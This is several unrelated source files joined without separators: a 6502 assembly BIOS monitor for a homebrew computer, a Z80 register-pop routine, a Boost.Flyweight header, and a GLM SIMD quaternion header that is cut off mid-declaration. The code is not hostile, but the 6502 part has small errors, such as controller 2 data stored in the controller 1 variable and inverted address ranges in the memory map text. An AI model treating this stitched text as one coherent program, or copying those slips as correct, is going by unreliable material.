|___/ \___| ; |_| |_| ; Convert character in A to uppercase ; ---------------------------------------------------------------------------------------------------------------------- ; INPUT: A, anycase ; OUTPUT: A, UPPERCASE uppercase: cmp #"a" ; Is value less the "a"? bcc uppercase_end ; Then end subroutine cmp #"z"+1 ; Is value higher then "z"? bcs uppercase_end ; Then end subroutine and #%11011111 ; Substract $20 (5th bit) from the ASCII value uppercase_end: rts ; _ _ _ _ ; __ __ (_) __ _ (_) _ __ (_) | |_ ; \ \ / / | | / _` | | | | '_ \ | | | __| ; \ V / | | | (_| | | | | | | | | | | |_ ; \_/ |_| \__,_| _____ |_| |_| |_| |_| \__| ; |_____| ; ; Initialize the VIA ; ---------------------------------------------------------------------------------------------------------------------- via_init: ; VIA1 INITIALIZATION ; ------------------- ; SET DATA DIRECTION OF VIA1 PORTA FOR RS DATA IN, AND LED OUTPUTS lda #%11111000 ; Life LED, NC, LED C-B-A, RS2, RS1, RS0 sta VIA1_DDRA ; Set PORTA as input (for shift registers) stz VIA1_PORTA ; Clear outputs ; SET DATA DIRECTION OF VIA1 PORTB FOR 8-BIT MCU INPUT lda #%00000000 ; Set all to input for MCU D0..D7 sta VIA1_DDRB ; Set PORTB direction ; INITIALIZE VIA1_PCR lda #%00000000 ; Select Negative Edge for CA1 (0 on bit 0) sta VIA1_PCR ; Store it in the Peripheral Control Register ; INTIALIZE VIA1 TIMER #1 (CPU Clock @ 2MHz) lda #%01000000 ; Timer 1 continuous interrupts sta VIA1_ACR ; Store it in the Auxiliary Control Register lda #$4E ; Set timer ticks to 50ms, 50,000 clock cycles - 2 ($C34E) sta VIA1_T1CL ; Store in low counter lda #$C3 ; Load high byte sta VIA1_T1CH ; Storing high byte, latches and starts countdown of T1 ; SETS INTERRUPTS lda #%11000010 ; Enable TIMER1 & CA1 interrupts sta VIA1_IER ; Store it in the Interrupt Enable Register rts ; _ _ ; __ __ _ __ (_) | |_ ___ _ __ ___ ___ _ __ ___ ; \ \ /\ / / | '__| | | | __| / _ \ | '_ ` _ \ / _ \ | '_ ` _ \ ; \ V V / | | | | | |_ | __/ | | | | | | | __/ | | | | | | ; \_/\_/ |_| |_| \__| \___| _____ |_| |_| |_| \___| |_| |_| |_| ; |_____| ; ; Writes a byte or a series of consecutive bytes at current address ; ---------------------------------------------------------------------------------------------------------------------- ; DESTROYS: A, TEMP, SRC_ADDR ; RETURNS: CUR_ADDR, current address position write_mem: ; IS THERE A PARAMETER? lda IN_BUFFER,y ; Read a character from the input buffer bne write_mem_delimeter ; If not empty, check for parameters jsr no_parameter ; If empty, print no parameters message bra write_mem_end ; End routine write_mem_delimeter: cmp #" " ; Is the it a space delimiter? beq write_mem_start_addr ; If it is, then get the start address jsr syntax_error bra write_mem_end ; End routine write_mem_start_addr: ; GET START ADDRESS jsr skip_spaces ; skip leading spaces if any jsr get_word ; Get address from the input buffer bcs write_mem_store_start ; Valid word is present, store address jsr invalid_address ; Print invalid address bra write_mem_end ; End routine write_mem_store_start: ; STORE START ADDRESS lda WORD ; Load LSB from get_word sta CUR_ADDR ; Store it in the current address (LSB) lda WORD+1 ; Load MSB from get_word sta CUR_ADDR+1 ; Store it in the current address (MSB) write_mem_get_byte: ; GET BYTE jsr skip_spaces ; Skip leading spaces jsr get_byte ; Get address from input buffer, result in A bcs write_mem_store_byte ; It's valid, write the byte jsr invalid_parameter ; It's not valid, so write error message bra write_mem_end ; End routine write_mem_store_byte: ; WRITE THE BYTE, AND VERIFY IT sta TEMP ; Save byte to compare it later sta (CUR_ADDR) ; Store it in specified memory location lda (CUR_ADDR) ; Read the byte just written cmp TEMP ; Compare it to the original byte beq write_mem_loop_bytes ; If it matches, read next byte if there are any jsr write_error ; Since it doesn't match, print write error bra write_mem_end ; End routine write_mem_loop_bytes: ; IF THERE ARE MORE BYTES, WRITE THEM jsr inc_cur_addr ; Increment current address position for next byte lda IN_BUFFER,y ; Read a character from the input buffer beq write_mem_end ; Yes it is, then end routine cmp #" " ; Is the it a space delimiter? beq write_mem_get_byte ; It is, then get the byte jsr invalid_parameter ; Print an error if parameter is invalid write_mem_end: rts ; ____ ___ _ __ ___ _ __ ___ ___ _ __ ___ ; |_ / / _ \ | '__| / _ \ | '_ ` _ \ / _ \ | '_ ` _ \ ; / / | __/ | | | (_) | | | | | | | | __/ | | | | | | ; /___| \___| |_| \___/ _____ |_| |_| |_| \___| |_| |_| |_| ; |_____| ; ; Writes zeros in all memory locations and resets ; ---------------------------------------------------------------------------------------------------------------------- zero_mem: ; ZERO PAGE ;---------- sei ldx #<zero_clearing_zp ; Get LSB address of msg ldy #>zero_clearing_zp ; Get MSB address of msg jsr print_string ; Write message ldx #$00 ; Reset pointer zero_zeropage: stz $00,x ; Zero out address $0000 + X inx ; Point to next memory location bne zero_zeropage ; Loop until X reaches zero ; STACK PAGE ; ---------- ldx #<zero_clearing_stack ; Get LSB address of msg ldy #>zero_clearing_stack ; Get MSB address of msg jsr print_string ; Write message tsx ; Load current stack pointer (not $FF) dex dex zero_stackpage: stz $0100,x ; Zero out address $0100 + X dex ; Point to the next memory location bne zero_stackpage ; Loop until X reaches zero stz $0100 ; Make sure $0100 is cleared cli ; ; SYSTEM RAM ; ---------- ldx #<zero_clearing_ram ; Get LSB address of msg ldy #>zero_clearing_ram ; Get MSB address of msg jsr print_string ; Write message lda #$02 ; Start at page 2 sta CUR_ADDR+1 ; Store page 2 value at MSB current address stz CUR_ADDR ; LSB is at 0 zero_sysram_loop: lda #0 sta (CUR_ADDR) ; Clear byte pointed by current address lda #>END_RAM ; Has it reached end of RAM (MSB)? cmp CUR_ADDR+1 ; bne zero_sysram_continue ; No, then continue on to the next address lda #<END_RAM ; Has it reached end of RAM (LSB)? cmp CUR_ADDR ; beq zero_bankram zero_sysram_continue: jsr inc_cur_addr bra zero_sysram_loop ; BANK RAM ; -------- zero_bankram: ldx #<zero_clearing_bank ; Get LSB address of msg ldy #>zero_clearing_bank ; Get MSB address of msg jsr print_string ; Write message ldx #NUMBER_OF_BANKS ; Set x to the total number of banks zero_bankram_nextbank: stx BANK_SEL ; Set bank selector stx BIN jsr bin2bcd8 lda BCD jsr print_byte ; Print space ; SET START ADDRESS lda #>START_BANKRAM ; Load start address (MSB) sta CUR_ADDR+1 ; Save start address accessed (MSB) lda #<START_BANKRAM ; Load start address (LSB) sta CUR_ADDR ; Save start address accessed (LSB) zero_bankram_loop: lda #0 sta (CUR_ADDR) ; Clear byte pointed by current address ; CHECK FOR END ADDRESS lda #>END_BANKRAM ; Has it reached end of RAM (MSB)? cmp CUR_ADDR+1 ; bne zero_bankram_continue ; No, then continue on to the next address lda #<END_BANKRAM ; Has it reached end of RAM (LSB)? cmp CUR_ADDR ; beq zero_bankram_bankchange ; go to next bank zero_bankram_continue: jsr inc_cur_addr bra zero_bankram_loop zero_bankram_bankchange: ldy #2 ; Set backspace counter to 3 jsr delete_char ; Delete 2 characters from terminal dex bne zero_bankram_nextbank ; bank 0 is tested when first iteration is done (i.e. 64 = %01000000) ldy #7 ; Set backspace counter to 3 jsr delete_char ; Delete 7 characters from terminal lda #CR jsr print_char ; NVRAM (Is not zeroed out, as it's used for semi-permanenet storage. Use "fill_mem" to zero it out manually) ; ----- ldx #<zero_clearing_nvram ; Get LSB address of msg ldy #>zero_clearing_nvram ; Get MSB address of msg jsr print_string ; Write message zero_end: rts ; ------------------------------------------------------------------------------------------------------------------------------- command_prompt: lda CUR_ADDR+1 ; Display current address MSB jsr print_byte ; lda CUR_ADDR ; Display current address LSB jsr print_byte ; lda #">" ; Display prompt symbol jsr print_char ; lda #" " ; Display a space jsr print_char ; lda #6 ; Number of characters taken by the prompt sta ERROR_PTR ; Store it as default value for error pointer rts error_pointer: ldx ERROR_PTR error_pointer_loop: lda #" " jsr print_char dex bne error_pointer_loop lda #"^" jsr print_char lda #CR jsr print_char rts no_parameter: ldx #<no_parameter_msg ; Get LSB address ldy #>no_parameter_msg ; Get MSB address jsr print_string ; Write message rts ; End subroutine invalid_address: jsr error_pointer ; Print error pointer underneath the command-line culprit ldx #<invalid_addr_msg ; Get LSB address of msg ldy #>invalid_addr_msg ; Get MSB address of msg jsr print_string ; Write message rts invalid_parameter: jsr error_pointer ; Print error pointer underneath the command-line culprit ldx #<invalid_param_msg ; Get LSB address of msg ldy #>invalid_param_msg ; Get MSB address of msg jsr print_string ; Write message rts invalid_command: jsr error_pointer ; Print error pointer underneath the command-line culprit ldx #<invalid_command_msg ; Get LSB address of msg ldy #>invalid_command_msg ; Get MSB address of msg jsr print_string ; Write message rts syntax_error: jsr error_pointer ; Print error pointer underneath the command-line culprit ldx #<syntax_error_msg ; Get LSB address of msg ldy #>syntax_error_msg ; Get MSB address of msg jsr print_string ; Write message rts write_error: ldx #<write_error_msg ; Get LSB address of msg ldy #>write_error_msg ; Get MSB address of msg jsr print_string ; Write message rts ; End subroutine day: .byte 1, "Sunday", 0, 2, "Monday", 0, 3, "Tuesday", 0, 4, "Wednesday", 0, 5, "Thursday", 0, 6, "Friday", 0, 7, "Saturday", 0, $FF month: .byte $01, "January", 0, $02, "February", 0, $03, "March", 0, $04, "April", 0, $05, "May", 0, $06, "June", 0, $07, "July", 0 .byte $08, "August", 0, $09, "September", 0, $10, "October", 0, $11, "November", 0, $12, "December", 0, $FF welcome_msg: .byte "MH6502-3 @ 2MHz, BIOS v3.03", CR .byte "32K ROM, 20+8K RAM, 512K BANK, 2K NVRAM", CR, 0 hexascii: .byte "0123456789ABCDEF",0 invalid_addr_msg: .byte "Invalid address!", CR, 0 invalid_param_msg: .byte "Invalid parameter!", CR, 0 write_error_msg: .byte "Write failed!", CR, 0 no_parameter_msg: .byte "No parameter was specified.", CR, 0 invalid_command_msg: .byte "Invalid command!",CR, 0 syntax_error_msg: .byte "Syntax error!",CR, 0 date_error: .byte "Invalid date format!",CR, 0 time_error: .byte "Invalid time format!",CR, 0 cant_write_address: .byte "Cannot write to address $", 0 zero_clearing_zp: .byte "Zeroing ZP",CR,0 zero_clearing_stack: .byte "Zeroing unused stack",CR,0 zero_clearing_ram: .byte "Zeroing system RAM",CR,0 zero_clearing_bank: .byte "Zeroing bank RAM: bank ",0 zero_clearing_nvram: .byte "NVRAM not zeroed to preserve data",CR,0 mem_io_map_msg: .byte CR, "MEMORY MAP:", CR .byte "-----------", CR .byte " RAM: $0000-$55FF (20K)", CR .byte " BRAM: $5600-$75FF (512K, 8K pages)", CR .byte " NVRAM: $7800-$7FF7 (2K)", CR .byte " ROM: $8000-$FFFF (32K)", CR .byte CR, "I/O MAP:", CR .byte "--------", CR .byte " ACIA1: $7700-$7003 (DTE)", CR .byte " ACIA2: $7704-$7007 (DCE)", CR .byte " ACIA3: $7708-$700B (TTL)", CR .byte " P_INT: $770E (Priority Interrupt)", CR .byte " BANK: $770F (Bank select)", CR .byte " VIA1: $7010-$701F (PS/2 & NES)", CR .byte " VIA2: $7020-$702F (LCD)", CR .byte " RTC: $7FF8-$7FFF (Clock)", CR, CR, 0 help_msg: .byte CR, "HELP", CR .byte "----", CR .byte "<ENTER>: Repeat last command", CR .byte "$: Change current address", CR .byte "!: Display memory & I/O map", CR .byte "?: Display help", CR .byte "Assemble: Assemble code", CR .byte "Basic: Enhanced Basic interpreter", CR .byte "Clock: Set and display time & date", CR .byte "Disassemble: Disassemble code", CR .byte "Fill: Fill a region of memory", CR .byte "Go: Execute a program", CR .byte "Hunt: Hunt for a sequence", CR .byte "Load: Load program", CR .byte "Memory: Display content of memory", CR .byte "Registers: Display & modify registers", CR .byte "Save: Save program", CR .byte "Test: Test memory (Diagnostics)", CR .byte "Write: Write byte(s) to memory", CR .byte "Zero: Zero out the RAM", CR, CR, 0 help_address_msg: .byte CR, "SET CURRENT ADDRESS", CR .byte "-------------------", CR .byte " Set current address pointer", CR, CR .byte " > $ [AAAA] defaults to 0000", CR, CR, 0 help_assemble_msg: .byte CR, "ASSEMBLE", CR .byte "--------", CR .byte " Assemble to machine language", CR, CR .byte " > A [1000] lda $12", CR, CR, 0 help_basic_msg: .byte CR, "BASIC", CR .byte "-----", CR .byte "Enhanced BASIC, version 2.22p5", CR, CR .byte " > B", CR, CR, 0 help_clock_msg: .byte CR, "CLOCK", CR .byte "-----", CR .byte " Set or read date &time", CR, CR .byte " > C [YY-MM-DD HH:MM:SS]", CR, CR, 0 help_disassemble_msg: .byte CR, "DISASSEMBLE", CR .byte "-----------", CR .byte " Disassemble a portion of memory", CR, CR .byte " > D [AAAA] defaults to prompt", CR, CR, 0 help_go_msg: .byte CR, "GO", CR .byte "--", CR .byte " Runs code at a specific address", CR, CR .byte " > G [AAAA] defaults to prompt", CR, CR, 0 help_fill_msg: .byte CR, "FILL", CR .byte "----", CR .byte " Fill a region of memory with a byte", CR, CR .byte " > F SSSS EEEE HH", CR, CR, 0 help_hunt_msg: .byte CR, "HUNT", CR .byte "----", CR .byte " Find bytes or string in memory", CR, CR .byte " > H [SSSS] HH [HH] [HH] ... [HH]", CR .byte ' > H [SSSS] "STRING"', CR, CR, 0 help_iomap_msg: .byte CR, "MEMORY & I/O MAP", CR .byte "----------------", CR .byte " Displays the memory map", CR, CR .byte " > !", CR, CR, 0 help_load_msg: .byte CR, "LOAD", CR .byte "----", CR .byte " Load code from computer via Intel Hex", CR, CR .byte " > L", CR, CR, 0 help_registers_msg: .byte CR, "REGISTERS", CR .byte "---------", CR .byte " Prints the CPU's status and registers", CR, CR .byte " > R", CR, CR, 0 help_memory_msg: .byte CR, "MEMORY", CR .byte "------", CR .byte " Displays a portion of memory", CR, CR .byte " > M [AAAA] defaults to prompt", CR, CR, 0 help_save_msg: .byte CR, "SAVE", CR .byte "----", CR .byte " Save code or data to computer", CR, CR .byte " > S [SSSS]", CR, CR, 0 help_test_msg: .byte CR, "TEST", CR .byte "----", CR .byte " Tests all memory", CR, CR .byte " > T", CR, CR, 0 help_write_msg: .byte CR, "WRITE", CR .byte "-----", CR .byte " Writes a or many bytes to RAM", CR, CR .byte " > W AAAA HH [HH] [HH] ... [HH]", CR, CR, 0 help_zero_msg: .byte CR, "ZERO", CR .byte "----", CR .byte " Writes zeros in RAM", CR, CR .byte " > Z", CR, CR, 0 help_not_valid_msg: .byte "Help command not recognized!", CR, 0 diag_zeropage_msg: .byte "Testing ZeroPage $0000-00FF:", 0 diag_stack_msg: .byte "Testing Stack $0100-01FF:", 0 diag_ramtest_msg: .byte "Testing Sytem RAM $", 0 diag_bankramtest_msg: .byte "Testing Bank RAM $", 0 diag_nvramtest_msg: .byte "Testing 2K NVRAM $", 0 diag_ram_error_msg: .byte " Error at ", 0 diag_ram_error2_msg: .byte ", expected ", 0 diag_skip_test_msg: .byte CR, "skipping test ", CR, 0 starthex: .byte "Send 6502 code in Intel Hex format.",CR,"Press ESC to cancel.",CR,0 transferaborted: .byte "Transfer aborted by user.",CR,0 unknownrecordtype: .byte CR,"Unknown record type $",0 badrecordchecksum: .byte CR,"Bad record checksum!",CR,0 downloadfailed: .byte CR,"Download Failed",CR,"Aborting!",CR,0 downloadsuccessful: .byte CR,"Download Successful!",CR,0 dis_mnemonic_blk1: .byte "brk ", "ora ", "??? ", "??? ", "tsb ", "ora ", "asl ", "rmb0" ; $00-$07 .byte "php ", "ora ", "asl ", "??? ", "tsb ", "ora ", "asl ", "bbr0" ; $08-$0F .byte "bpl ", "ora ", "ora ", "??? ", "trb ", "ora ", "asl ", "rmb1" ; $10-$17 .byte "clc ", "ora ", "inc ", "??? ", "trb ", "ora ", "asl ", "bbr1" ; $18-$1F .byte "jsr ", "and ", "??? ", "??? ", "bit ", "and ", "rol ", "rmb2" ; $20-$27 .byte "plp ", "and ", "rol ", "??? ", "bit ", "and ", "rol ", "bbr2" ; $28-$2F .byte "bmi ", "and ", "and ", "??? ", "bit ", "and ", "rol ", "rmb3" ; $30-$37 .byte "sec ", "and ", "dec ", "??? ", "bit ", "and ", "rol ", "bbr3" ; $38-$3F dis_mnemonic_blk2: .byte "rti ", "eor ", "??? ", "??? ", "??? ", "eor ", "lsr ", "rmb4" ; $40-$47 .byte "pha ", "eor ", "lsr ", "??? ", "jmp ", "eor ", "lsr ", "bbr4" ; $48-$4F .byte "bvc ", "eor ", "eor ", "??? ", "??? ", "eor ", "lsr ", "rmb5" ; $50-$57 .byte "cli ", "eor ", "phy ", "??? ", "??? ", "eor ", "lsr ", "bbr5" ; $58-$5F .byte "rts ", "adc ", "??? ", "??? ", "stz ", "adc ", "ror ", "rmb6" ; $60-$67 .byte "pla ", "adc ", "ror ", "??? ", "jmp ", "adc ", "ror ", "bbr6" ; $68-$6F .byte "bvs ", "adc ", "adc ", "??? ", "stz ", "adc ", "ror ", "rmb7" ; $70-$77 .byte "sei ", "adc ", "ply ", "??? ", "jmp ", "adc ", "ror ", "bbr7" ; $78-$7F dis_mnemonic_blk3: .byte "bra ", "sta ", "??? ", "??? ", "sty ", "sta ", "stx ", "smb0" ; $80-$87 .byte "dey ", "bit ", "txa ", "??? ", "sty ", "sta ", "stx ", "bbs0" ; $88-$8F .byte "bcc ", "sta ", "sta ", "??? ", "sty ", "sta ", "stx ", "smb1" ; $90-$97 .byte "tya ", "sta ", "txs ", "??? ", "stz ", "sta ", "stz ", "bbs1" ; $98-$9F .byte "ldy ", "lda ", "ldx ", "??? ", "ldy ", "lda ", "ldx ", "smb2" ; $A0-$A7 .byte "tay ", "lda ", "tax ", "??? ", "ldy ", "lda ", "ldx ", "bbs2" ; $A8-$AF .byte "bcs ", "lda ", "lda ", "??? ", "ldy ", "lda ", "ldx ", "smb3" ; $B0-$B7 .byte "clv ", "lda ", "tsx ", "??? ", "ldy ", "lda ", "ldx ", "bbs3" ; $B8-$BF dis_mnemonic_blk4: .byte "cpy ", "cmp ", "??? ", "??? ", "cpy ", "cmp ", "dec ", "smb4" ; $C0-$C7 .byte "iny ", "cmp ", "dex ", "wai ", "cpy ", "cmp ", "dec ", "bbs4" ; $C8-$CF .byte "bne ", "cmp ", "cmp ", "??? ", "??? ", "cmp ", "dec ", "smb5" ; $D0-$D7 .byte "cld ", "cmp ", "phx ", "stp ", "??? ", "cmp ", "dec ", "bbs5" ; $D8-$DF .byte "cpx ", "sbc ", "??? ", "??? ", "cpx ", "sbc ", "inc ", "smb6" ; $E0-$E7 .byte "inx ", "sbc ", "nop ", "??? ", "cpx ", "sbc ", "inc ", "bbs6" ; $E8-$EF .byte "beq ", "sbc ", "sbc ", "??? ", "??? ", "sbc ", "inc ", "smb7" ; $F0-$F7 .byte "sed ", "sbc ", "plx ", "??? ", "??? ", "sbc ", "inc ", "bbs7" ; $F8-$FF dis_addressing: .byte IMP, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZP , ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , ABS, ABX, ABX, ZPR .byte ABS, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZPX, ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , ABX, ABX, ABX, ZPR .byte IMP, IZX, 0 , 0 , 0 , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , 0 , ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , 0 , ABX, ABX, ZPR .byte IMP, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , IND, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZPX, ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , IAX, ABX, ABX, ZPR .byte REL, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZPX, ZPX, ZPY, ZP , IMP, ABY, IMP, 0 , ABS, ABX, ABX, ZPR .byte IMM, IZX, IMM, 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , ZPX, ZPX, ZPY, ZP , IMP, ABY, IMP, 0 , ABX, ABX, ABY, ZPR .byte IMM, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, IMP, ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , 0 , ZPX, ZPX, ZP , IMP, ABY, IMP, IMP, 0 , ABX, ABX, ZPR .byte IMM, IZX, 0 , 0 , ZP , ZP , ZP , ZP , IMP, IMM, IMP, 0 , ABS, ABS, ABS, ZPR .byte REL, IZY, IZP, 0 , 0 , ZPX, ZPX, ZP , IMP, ABY, IMP, 0 , 0 , ABX, ABX, ZPR ; ---------------------------------------------------------------------------------------------------------------------- ; INTERRUPTS ; ---------------------------------------------------------------------------------------------------------------------- ; _ _ __ __ ___ ; | \ | | | \/ | |_ _| ; | \| | | |\/| | | | ; | |\ | | | | | | | ; |_| \_| |_| |_| |___| ; Non-Maskable Interrupt (High priority interrupt only) ; ---------------------------------------------------------------------------------------------------------------------- nmi: rti ; ___ ____ ___ ; |_ _| | _ \ / _ \ ; | | | |_) | | | | | ; | | | _ < | |_| | ; |___| |_| \_\ \__\_\ ; Iterrupt ReQuest (Regular interrupts) ; ---------------------------------------------------------------------------------------------------------------------- irq: pha phx phy ; DETERMINE WHAT IC GENERATED IRQ ; ------------------------------- irq_dispatch: ; IS IT VIA1? lda VIA1_IFR ; Check interrupt flag register to see if it's VIA1 bmi irq_via1 ; If it is, go to VIA1 handler lda VIA2_IFR ; Check interrupt flag register to see if it's VIA2 bmi irq_via2 ; If it is, go to VIA2 handler jmp irq_end ; DISPATCHING IRQ FROM VIA1 ; ------------------------- irq_via1: bit #%01000000 ; Was it Timer 1 bne irq_via1_timer1 ; If it is, go to tick counter bit #%00000010 ; Was it CA1 bne irq_via1_ca1 ; If it is, then go get the keyboard, mouse or nes data jmp irq_end ; End ISR irq_via2: bit #%01000000 ; Was it Timer 1 bne irq_via2_timer1 ; If it is, go to tick counter jmp irq_end ; End ISR ; SYSTEM TIMER 1 (Count ticks) ; -------------- irq_via1_timer1: ; COUNT THE NUMBER OF TICKS bit VIA1_T1CL ; Clear TIMER1 interrupt inc TICKS bne irq_end inc TICKS+1 bne irq_end inc TICKS+2 bne irq_end inc TICKS+3 bra irq_end ; End ISR ; PS/2 KEYBOARD, MOUSE or NES CONTROLLERS ; --------------------------------------- irq_via1_ca1: lda VIA1_PORTA ; Load RS data from MCU and #%00000111 ; Keep only lower 3 bits ivca1_keyboard: cmp #0 ; Is it keyboard data? bne ivca1_mouse_buttons ; If not, check if it's mouse data? lda VIA1_PORTB ; It is, then read ASCII keyboard key ldx KB_WPTR ; Read current keyboard write pointer sta KB_BUFFER, x ; Store character in keyboard buffer inc KB_WPTR ; Increment write pointer for next character cmp #$FF ; Has Control-Alt-Del been pressed? bne irq_end ; End ISR jmp setup ; "Reboot" system ivca1_mouse_buttons: cmp #1 ; Is it mouse data? (xxYXxMRL) bne ivca1_mouse_x ; If not, check if it's mouse mouvement X? lda VIA1_PORTB ; It is, then read button and direction status sta MS_DATA ; Store mouse data bra irq_end ; End ISR ivca1_mouse_x: cmp #2 ; Is it mouse movement X? bne ivca1_mouse_y ; If not, check if it's mouse mouvement Y? lda VIA1_PORTB ; It is, then read mouvement data sta MS_X ; Store it bra irq_end ; End ISR ivca1_mouse_y: cmp #3 ; Is it mouse movement X? bne ivca1_nes1 ; If not, check if it's NES controller 1? lda VIA1_PORTB ; It is, then read movement data sta MS_Y ; Store it bra irq_end ; End ISR ivca1_nes1: cmp #4 ; Is it NES controller 1 buttons? bne ivca1_nes2 ; If not, check if it's NES controller 2? lda VIA1_PORTB ; It is, then read buttons sta NES_CTRL1 ; Store it bra irq_end ; End ISR ivca1_nes2: cmp #5 ; Is it NES controller 2 buttons? bne irq_end ; If not, then end ISR lda VIA1_PORTB ; It is, then read buttons sta NES_CTRL1 ; Store it ; VIA2 TIMER 1 ; -------------- irq_via2_timer1: bra irq_end ; End ISR ; END IRQ ; ------- irq_end: update_led: ; TOGGLE LED ON OR OFF EVERY SECOND lda TICKS ; Load ticks counter sec ; Get ready to substract sbc TOGGLE_TIME ; Substract last recorded tick time cmp #20 ; Has it reached 1 second? (1 = 50ms @ 2MHz, see 'via1_init' for timer 1 settings) bcc update_led_exit ; No, then exit lda VIA1_PORTA ; Read current state of Port A eor #LIFE_LED ; Toggle bit 7 (The LED), not moddifying anything else sta VIA1_PORTA ; Turn on or off LED lda TICKS ; Load current ticks counter sta TOGGLE_TIME ; Store it as the current time ; ldx #0 ; ldy #1 ; jsr lcd_cursor_xy ; tsx ; txa ; jsr lcd_print_byte update_led_exit: ply plx pla rti .org $FFFA .word nmi ; NMI vector .word setup ; Reset vector .word irq ; IRQ vector
SECTION code_clib SECTION code_im2 PUBLIC asm_im2_pop_registers_8080 asm_im2_pop_registers_8080: ; pop the main registers from the stack ; must be called ; uses : af, bc, de, hl pop hl pop de pop bc pop af ex (sp),hl ret
/* Copyright 2006-2008 Joaquin M Lopez Munoz. * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE_1_0.txt or copy at * http://www.boost.org/LICENSE_1_0.txt) * * See http://www.boost.org/libs/flyweight for library home page. */ #ifndef BOOST_FLYWEIGHT_TRACKING_TAG_HPP #define BOOST_FLYWEIGHT_TRACKING_TAG_HPP #if defined(_MSC_VER)&&(_MSC_VER>=1200) #pragma once #endif #include <boost/config.hpp> /* keep it first to prevent nasty warns in MSVC */ #include <boost/parameter/parameters.hpp> #include <boost/type_traits/is_base_and_derived.hpp> namespace boost{ namespace flyweights{ /* Three ways to indicate that a given class T is a tracking policy: * 1. Make it derived from tracking_marker. * 2. Specialize is_tracking to evaluate to boost::mpl::true_. * 3. Pass it as tracking<T> when defining a flyweight type. */ struct tracking_marker{}; template<typename T> struct is_tracking:is_base_and_derived<tracking_marker,T> {}; template<typename T=parameter::void_> struct tracking:parameter::template_keyword<tracking<>,T> {}; } /* namespace flyweights */ } /* namespace boost */ #endif
/////////////////////////////////////////////////////////////////////////////////// /// OpenGL Mathematics (glm.g-truc.net) /// /// Copyright (c) 2005 - 2014 G-Truc Creation (www.g-truc.net) /// Permission is hereby granted, free of charge, to any person obtaining a copy /// of this software and associated documentation files (the "Software"), to deal /// in the Software without restriction, including without limitation the rights /// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell /// copies of the Software, and to permit persons to whom the Software is /// furnished to do so, subject to the following conditions: /// /// The above copyright notice and this permission notice shall be included in /// all copies or substantial portions of the Software. /// /// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR /// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, /// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE /// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER /// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, /// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN /// THE SOFTWARE. /// /// @ref gtx_simd_quat /// @file glm/gtx/simd_quat.hpp /// @date 2009-05-07 / 2011-06-07 /// @author Christophe Riccio /// /// @see core (dependence) /// /// @defgroup gtx_simd_quat GLM_GTX_simd_quat /// @ingroup gtx /// /// @brief SIMD implementation of quat type. /// /// <glm/gtx/simd_quat.hpp> need to be included to use these functionalities. /////////////////////////////////////////////////////////////////////////////////// #pragma once // Dependency: #include "../glm.hpp" #include "../gtc/quaternion.hpp" #include "../gtx/fast_trigonometry.hpp" #if(GLM_ARCH != GLM_ARCH_PURE) #if(GLM_ARCH & GLM_ARCH_SSE2) # include "../gtx/simd_mat4.hpp" #else # error "GLM: GLM_GTX_simd_quat requires compiler support of SSE2 through intrinsics" #endif #if(defined(GLM_MESSAGES) && !defined(GLM_EXT_INCLUDED)) # pragma message("GLM: GLM_GTX_simd_quat extension included") #endif // Warning silencer for nameless struct/union. #if (GLM_COMPILER & GLM_COMPILER_VC) # pragma warning(push) # pragma warning(disable:4201) // warning C4201: nonstandard extension used : nameless struct/union #endif namespace glm{ namespace detail { GLM_ALIGNED_STRUCT(16) fquatSIMD { typedef __m128 value_type; typedef std::size_t size_type; static size_type value_size(); typedef fquatSIMD type; typedef tquat<bool, defaultp> bool_type; #ifdef GLM_SIMD_ENABLE_XYZW_UNION union { __m128 Data; struct {float x, y, z, w;}; }; #else __m128 Data; #endif ////////////////////////////////////// // Implicit basic constructors fquatSIMD(); fquatSIMD(__m128 const & Data); fquatSIMD(fquatSIMD const & q); ////////////////////////////////////// // Explicit basic constructors explicit fquatSIMD( ctor); explicit fquatSIMD( float const & w, float const & x, float const & y, float const & z); explicit fquatSIMD( quat const & v); explicit fquatSIMD( vec3 const & eulerAngles); ////////////////////////////////////// // Unary arithmetic operators fquatSIMD& operator =(fquatSIMD const & q); fquatSIMD& operator*=(float const & s); fquatSIMD& operator/=(float const & s); }; ////////////////////////////////////// // Arithmetic operators detail::fquatSIMD operator- ( detail::fquatSIMD const & q); detail::fquatSIMD operator+ ( detail::fquatSIMD const & q, detail::fquatSIMD const & p); detail::fquatSIMD operator* ( detail::fquatSIMD const & q, detail::fquatSIMD const & p); detail::fvec4SIMD operator* ( detail::fquatSIMD const & q, detail::fvec4SIMD const & v); detail::fvec4SIMD operator* ( detail::fvec4SIMD const & v, detail::fquatSIMD const & q); detail::fquatSIMD operator* ( detail::fquatSIMD const & q, float s); detail::fquatSIMD operator* ( float s, detail::fquatSIMD const & q); detail::fquatSIMD operator/ ( 